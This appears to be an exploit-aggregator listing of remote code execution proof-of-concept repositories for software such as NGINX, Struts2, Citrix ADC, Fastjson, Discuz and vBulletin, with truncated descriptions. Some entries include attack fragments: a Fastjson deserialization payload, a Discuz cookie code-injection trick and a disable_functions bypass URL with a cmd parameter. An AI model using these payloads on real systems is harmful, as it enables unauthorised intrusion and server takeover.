Nginx-Rift

NGINX Rift RCE Proof of concept for CVE-2026-42945 , a critical heap buffer overflow in NGINX's ngxhttprewritemodule introduced in 2008. The bug enables unauthenticated remote code execution against servers using rewrite and set directives. This vulnerability — along with three other memory...

CVE-2020-17533

Recently, a remote code execution vulnerability was discovered in Apache Struts2 CVE ID: CVE-2020-17530. The Apache Struts2 framework is a web framework for developing Java EE web applications. It is widely used, thus the threat impact scope is large. 2. Vulnerability Description If developers...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector Unauthenticated Remote Code Execution RCE Description Product : MCPJam Inspector Affected versions : ≤ 1.4.2 Fixed version : 1.4.3 Type : Unauthenticated Remote Code Execution RCE Attack vector : Network Authentication required : No User interaction required : No...

Apache-Flink-Dashboard-rec

Apache-Flink-Web-Dashboard-RCE Apache Flink Web 仪表盘 RCE...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 This exploit uses addresses and shellcode for Citrix VPX 13.1-48.47. For the full writeup, click here. Usage NASM is required to build the shellcode. root@kitploit: $ sudo apt install nasm The included shellcode will download and run a shell script from a remote https...

discuz-ml-rce

discuz-ml-rce 影响系统及版本：Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。 cookie字段中会出现xxxxxxxxlanguage字段，根本原因就是这个字段存在注入，导致的RCE 抓包找到cookie的language的值修改为 xxxxxxxxlanguage=sc'.phpinfo.' getshell...

bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.php有三个GET选项：cmd，outpath和sopath。 选项非常简单， cmd是你的邪恶命令， outpath是命令输出文件路径（可读和可写）， sopath是我们的共享对象bypassdisablefuncx64.so的绝对路径。例如： http://site.com/bypassdisablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypassdisablefuncx64.so 一是cmd参数，待执行的系统命令（如pwd）; 二是outpath参数，保存命令执行输出结果的文件路径（如...

gitbook-xss

gitbook-xss CVE-2019-19596 GitBook 2.6.9 及之前版本允许通过本地 .md 文件触发 XSS 在 MD 文件中输入脚本，可被 gitbook 执行...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 远程命令执行 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ 未知版本1.2.24-41之间 "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true ​ 1.2.41...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE POC. This was the first publicly-released exploit for CVE-2009-1151. Syntax root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ Demo root@kitploit...

thinkphp5.0.1-automatic-getshell

thinkphp5.0.1-automatic-getshell thinkphp5.0.1自动getshell脚本 解决thinkphp5.0.1时候所遇到的一些小问题，通过造轮子的方式免去了手动复现的麻烦。...

CVE-2024-21534

CVE-2024-21534: Remote Code Execution Vulnerability in jsonpath-plus =10.0.7 Summary This repository contains a Proof of Concept PoC exploit for a critical Remote Code Execution RCE vulnerability in the jsonpath-plus package, affecting versions prior to 10.0.7. The issue stems from improper input...

CVE-2026-25057

CVE-2026-25057 MarkUs 是一个用于批改学生作业的 Web 应用程序。 摘要 MarkUs 作业配置 ZIP 上传存在路径遍历（Zip Slip）漏洞，可导致任意文件写入，进而实现远程代码执行。 详情 归档条目名称被用于构造文件系统路径，而未检查生成的路径是否仍位于预期的解压目录内。经过身份验证的教师可以上传包含遍历序列的恶意归档，从而在该目录之外写入文件。 影响取决于应用程序进程的文件系统权限。覆盖可执行的应用程序文件可能导致远程代码执行。 复现步骤 1. 使用 poc.py 生成包含所需测试数据的 zip-slip-check.zip。 2. 以教师身份登录...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 Exploit Script This Python script is designed to test if a Cacti instance is vulnerable to CVE-2024-43363, a Remote Code Execution RCE vulnerability caused by log poisoning. How the Vulnerability Works: root@kitploit: Log Poisoning: An attacker injects PHP code into...

CVE-2022-22965

spring4shell ⭐ a python implementation of CVE-2022-22965 that provides a prompt to the user in the style of an ssh session. the script is designed to be easy to understand and execute, with both readability and accessbility - depending on the user's choice. Designed for exploiting the vulnerabili...

vBulletin-5.x-0day-pre-auth-RCE-exploit

vBulletin-5.x-0day-pre-auth-RCE-exploit 影响版本：vBulletin 5.0.05.5.4 poc如下: !/usr/bin/python vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 Google Dorks: - site:.vbulletin.net - "Powered by vBulletin Version 5.5.4" import requests import sys if...

CVE-2023-25581

This Python script demonstrates the exploitation of the CVE-2023-25581 vulnerability in pac4j-core. The vulnerability allows an attacker to execute arbitrary code RCE by deserializing maliciously crafted Base64-encoded data. Prerequisites Before running the script, make sure you have the followin...

CVE-2026-76461

cve-id 捐赠 帮助维护此项目 如果您觉得此项目有用，请考虑通过 PayPal 或 ABA Mobile 支持其持续维护。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 每笔捐赠的百分之十将捐献给 Kantha Bopha 儿童医院。 | 选择支付方式 使用 ABA Mobile 扫描 · 点击放大 ---|--- ⚡ 简单用法 直接从 GitHub 运行最新版本的外部下载脚本： root@kitploit: bash 此命令需要 Bash 和...

CVE-2025-64512_PoC

CVE-2025-64512 — pdfminer.six RCE 漏洞利用 Python 3，仅使用标准库 （无需 pip 安装）。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。 | ---|--- CVE| CVE-2025-64512 受影响| pdfminer.six .pickle.gz）形式打包在自身的包内。 看看 CMap 是如何加载的（pdfminer/cmapdb.py，20251107 之前的所有版本）： root@kitploit: @classmethod def loaddatacls, name: str - Any: na...

wongpress

Real Case Exploitation of Buffer Overflow & Format String Vulnerabilities to Gain RCE in Ubuntu Server Related CVEs CVE-2024-2961 : Buffer overflow vulnerability in Glibc iconv function CVE-2024-29510 : Format string vulnerability in Ghostscript PostScript language interpreter 1. Problem...